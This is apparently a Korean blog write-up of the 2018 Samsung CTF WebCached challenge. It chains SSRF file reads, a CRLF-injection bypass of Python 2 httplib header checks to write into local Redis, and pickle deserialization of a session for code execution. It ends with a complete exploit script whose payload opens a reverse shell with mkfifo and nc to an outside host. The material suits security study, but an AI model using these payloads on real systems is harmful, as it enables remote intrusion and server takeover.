예선때 풀려고 그렇게 삽질을 했지만, 결국 예선이 끝나고 WebCached 문제를 풀게 되었다.

일단 본론부터 적자면 SSRF(Server Side Request Forgery) 문제다. SSRF 인 것을 확인하고 https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf의 SSRF 쿼리를 날려보다가 잘 안되서 예선 때 풀지 못하였지만, 예선이 끝나고 푼 후 해당 문제의 풀이 과정을 작성한다.



먼저 페이지에 접속하면 위와 같이 url을 입력하는 입력 창이 나온다. 입력 창에 url을 입력하면 서버에서 해당 url에 요청을 하여 나온 값을 전달해 줄 것이다.



위와 같이 file:///etc/passwd를 입력하자 시스템 로컬에 존재하는 /etc/passwd의 내용을 반환하여 준다. 이를 이용하여 시스템 내부에 존재하는 파일을 가져올 수 있다.


 

보통 이런 시스템 내부에 존재하는 파일을 가져올 수 있는 파일 다운로드 취약점이 발견될 경우, 해당 어플리케이션의 실행 정보를 살펴보기 위해 /proc/self/ 하위에 존재하는 environ, cmdline을 요청한다. /proc/self/environ 파일은 권한 문제로 인해 다운로드가 불가능 하였고, /proc/self/cmdline 파일을 통해 현재 실행되고 있는 어플리케이션의 실행 명령문을 알 수 있었다. uwsgi 명령에 /tmp/uwsgi.ini 설정파일을 옵션으로 주고 실행하였으므로 해당 설정파일을 요청하여 설정 값을 알 수 있다.



/tmp/uwsgi.ini 파일을 살펴보면, chdir 옵션과 module 옵션이 설정되어 있다. chdir은 경로를 나타내는 것이고 module은 실행 파일명을 나타내는 것으로 결국 /app/run.py가 현재 실행되고 있는 웹 어플리케이션 소스코드 임을 알 수 있다.



/app/run.py를 다운로드 하여 현재 실행되고 있는 웹 어플리케이션에 대한 보다 세부적인 내용을 분석할 수 있게 되었다. 소스코드 상단에 from session_interface import RedisSessionInterface가 있는데 session_interface.py 또한 해당 경로에 존재하는 듯 하다. /app/session_interface.py 도 요청하여 다운로드 한다.



아래는 위의 공격을 통해 추출한 웹 어플리케이션의 소스코드 이다.


# /app/run.py

#!/usr/bin/env python2
from redis import Redis
from flask import Flask, request, render_template
from flask import session, redirect, url_for, abort
from session_interface import RedisSessionInterface
import socket
import urllib


r = Redis()
app = Flask(__name__)
app.session_interface = RedisSessionInterface()
timeout = socket.getdefaulttimeout()


def cached(url):
    key = '{}:{}'.format(request.remote_addr, url)
    resp = r.get(key)
    if resp is None:
        resp = load_cache(url)
        r.setex(key, resp, 3)
    return resp


def load_cache(url):
    def get(url):
        return urllib.urlopen(url).read()
    socket.setdefaulttimeout(0.5)
    try:
        resp = get(url)
    except socket.timeout:
        resp = '{} may be dead...'.format(url)
    except Exception as e:
        resp = str(e)
    socket.setdefaulttimeout(timeout)
    return resp


@app.route('/view')
def view():
    url = session.get('url', None)
    if url is not None:
        session.pop('url')
        return cached(url)
    else:
        return redirect(url_for('main'))


@app.route('/', methods=['GET', 'POST'])
def main():
    if request.method == 'GET':
        return render_template('main.html')
    else:
        url = request.form.get('url', None) or abort(404)
        session['url'] = url
        return redirect(url_for('view'))


if __name__ == '__main__':
    app.run(port=12000, host='0.0.0.0', debug=True)


# /app/session_interface.py

# Server-side Sessions with Redis
# http://flask.pocoo.org/snippets/75/
import base64
import pickle
from datetime import timedelta
from uuid import uuid4
from redis import Redis
from werkzeug.datastructures import CallbackDict
from flask.sessions import SessionInterface, SessionMixin


class RedisSession(CallbackDict, SessionMixin):
    def __init__(self, initial=None, sid=None, new=False):
        def on_update(self):
            self.modified = True
        CallbackDict.__init__(self, initial, on_update)
        self.sid = sid
        self.new = new
        self.modified = False


class RedisSessionInterface(SessionInterface):
    serializer = pickle
    session_class = RedisSession

    def __init__(self, redis=None, prefix='session:'):
        if redis is None:
            redis = Redis()
        self.redis = redis
        self.prefix = prefix

    def generate_sid(self):
        return str(uuid4())

    def get_redis_expiration_time(self, app, session):
        if session.permanent:
            return app.permanent_session_lifetime
        return timedelta(days=1)

    def open_session(self, app, request):
        sid = request.cookies.get(app.session_cookie_name)
        if not sid:
            sid = self.generate_sid()
            return self.session_class(sid=sid, new=True)
        val = self.redis.get(self.prefix + sid)
        if val is not None:
            val = base64.b64decode(val)
            data = self.serializer.loads(val)
            return self.session_class(data, sid=sid)
        return self.session_class(sid=sid, new=True)

    def save_session(self, app, session, response):
        domain = self.get_cookie_domain(app)
        if not session:
            self.redis.delete(self.prefix + session.sid)
            if session.modified:
                response.delete_cookie(app.session_cookie_name,
                                       domain=domain)
            return
        redis_exp = self.get_redis_expiration_time(app, session)
        cookie_exp = self.get_expiration_time(app, session)
        val = base64.b64encode(self.serializer.dumps(dict(session)))
        self.redis.setex(self.prefix + session.sid, val,
                         int(redis_exp.total_seconds()))
        response.set_cookie(app.session_cookie_name, session.sid,
                            expires=cookie_exp, httponly=True,
                            domain=domain)


/app/run.py 와 /app/session_interface.py 소스코드를 분석해보면, /app/session_interface.py의 48행에서 data = self.serializer.loads(val) 부분이 취약한 것을 알 수 있다. 해당 취약점은 pickle 모듈의 load_reduce 함수의 value = func(*args)에서 발생한다. 아래 소스코드와 같은 경우 python pickle 모듈에서 RCE를 할 수 있다.


import pickle
import os

class exploit(object):
	def __reduce__(self):
		return (os.system, ('id',))
		
pd = pickle.dumps(exploit())
pickle.loads(pd)


위와 같이 pickle 모듈을 이용하여 임의의 명령을 실행할 수 있다. 하지만 소스코드 상의 기능만으로  /app/session_interface.py의 48행의 data = self.serializer.loads(val) 부분에서 취약점이 발생하도록 val 값을 설정해 줄 수는 없다. /app/run.py의 27행인 urllib.urlopen(url).read()에서 발생하는 SSRF 취약점을 이용하여 로컬에 존재하는 redis 서버로 query를 보내 val 값을 조작한 후 data = self.serializer.loads(val) 부분에서 pickle 취약점이 발생하도록 하여야 한다. 


일반적으로 알려진 공격 방법대로 SSRF가 되지 않아 python의 urllib 와 httplib 라이브러리를 직접 분석해보았다. 서버에 존재하는 /usr/lib/python2.7/httplib.py 파일을 다운로드 하여 분석하였다. urllib.urlopen(url).read()을 실행할 때, \r\n을 입력하게 되면 ValueError: Invalid header value '127.0.0.1\r\n:6379' 와 같이 에러가 발생하는데, 이 부분은 /usr/lib/python2.7/httplib.py 파일 내부의 putheader 함수 내부에서 발생한다.


    def putheader(self, header, *values):
        """Send a request header line to the server.

        For example: h.putheader('Accept', 'text/html')
        """
        if self.__state != _CS_REQ_STARTED:
            raise CannotSendHeader()

        header = '%s' % header
        if not _is_legal_header_name(header):
            raise ValueError('Invalid header name %r' % (header,))

        values = [str(v) for v in values]
        for one_value in values:
            if _is_illegal_header_value(one_value):
                raise ValueError('Invalid header value %r' % (one_value,))

        hdr = '%s: %s' % (header, '\r\n\t'.join(values))
        self._output(hdr)


putheader 함수의 15행에서 if문을 만족하여 발생하는 에러이다. 소스코드의 247~248행을 살펴보면 _is_illegal_header_value에 정규표현식이 존재한다.


_is_legal_header_name = re.compile(r'\A[^:\s][^:\r\n]*\Z').match
_is_illegal_header_value = re.compile(r'\n(?![ \t])|\r(?![ \t\n])').search


_is_illegal_header_value 정규표현식을 살펴보면 \r 다음에 \t나 \n이 아닌 경우에 true를 반환하고, \n 다음에 띄어쓰기나 \t가 아닌 경우에 true를 반환한다. 따라서 이 두 가지 조건에 모두 걸리지 않으려면 \r\n(공백)을 하게 되면 해당 정규표현식에 걸리지 않고 bypass 되는 것을 확인할 수 있다. 결론적으로 해당 정규표현식에 걸리지 않고 SSRF를 정상적으로 수행하려면 "http://127.0.0.1\r\n HELLO\r\n :1234"와 같이 \r\n 다음에 띄어쓰기를 포함하여 요청하여야 한다.


redis 서버의 포트가 6379이고, /app/session_interface.py의 45행에서 세션이 redis에 "session:~"라는 key로 저장되는 것을 확인할 수 있다. 따라서 redis 서버로 set session:zairo (pickle RCE base64) 형식의 쿼리를 전송하게 되면 session:zairo key에 (pickle RCE base64) 데이터가 저장될 것이다. 이어 session id에 zairo를 입력하고 /view 페이지를 요청하면 /app/run.py의 41행에서 session의 값을 참조하므로 /app/session_interface.py의 open_session 함수가 실행될 것이고,  session:zairo key의 데이터를 불러와 48행의 data = self.serializer.loads(val)를 실행하게 되므로 해당 부분에서 RCE 취약점이 발생하게 된다. 따라서 이 모든 것을 종합한 URL은 "http://0\r\n set "session:zairo" (pickle RCE base64)\r\n :6379/" 이다.  


# exploit.py

import requests
import base64
import pickle
import os

class pickle_rce(object):
	def __reduce__(self):
		return (os.system, ('rm /tmp/zairo;mkfifo /tmp/zairo;cat /tmp/zairo|/bin/sh -i 2>&1|nc zairo.kr 1234 >/tmp/zairo',))

def send_payload(r, payload):
	res = r.post('http://webcached.eatpwnnosleep.com/',data={'url': payload,'action' : ''})
	#print res.text
	
def exploit(r):
	res = r.get('http://webcached.eatpwnnosleep.com/view', headers={'Cookie': 'session=zairo;'})
	#print res.text

r = requests.Session()
pd = pickle.dumps(pickle_rce())
send_payload(r, "http://0\r\n set \"session:zairo\" "+base64.b64encode(pd)+"\r\n :6379/")
exploit(r)


지금까지 풀었던 pickle을 이용한 문제는 의도적으로 취약점을 만들어 낸 느낌이었다면, 이번 문제는 http://flask.pocoo.org/snippets/75/에 /app/session_interface.py와 거의 유사한 소스코드가 존재하고 실제 사이트에서도 발생 가능한 취약점이라 재미있고 유익한 문제였던 것 같다.


[추가]

대회땐 보지 못했는데 https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf 59~60 페이지에 제가 분석했던 내용이 있네요. 예선땐 정신이 없어 내용을 자세히 보지 않고 위에 있는거만 시도해본 것 같습니다. ㅠㅠ

관련 내용 첨부합니다.

출처 : https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf 

'CTF > 2018 Samsung CTF Quals' 카테고리의 다른 글

[2018 Samsung CTF Writeup] WebCached  (4) 2018.07.03
  1. 2018.07.03 01:12

    비밀댓글입니다

    • 2018.07.03 02:46

      비밀댓글입니다

  2. 2018.07.03 03:16

    비밀댓글입니다

  3. front 2018.07.03 16:53

    본선 화이팅~

+ Recent posts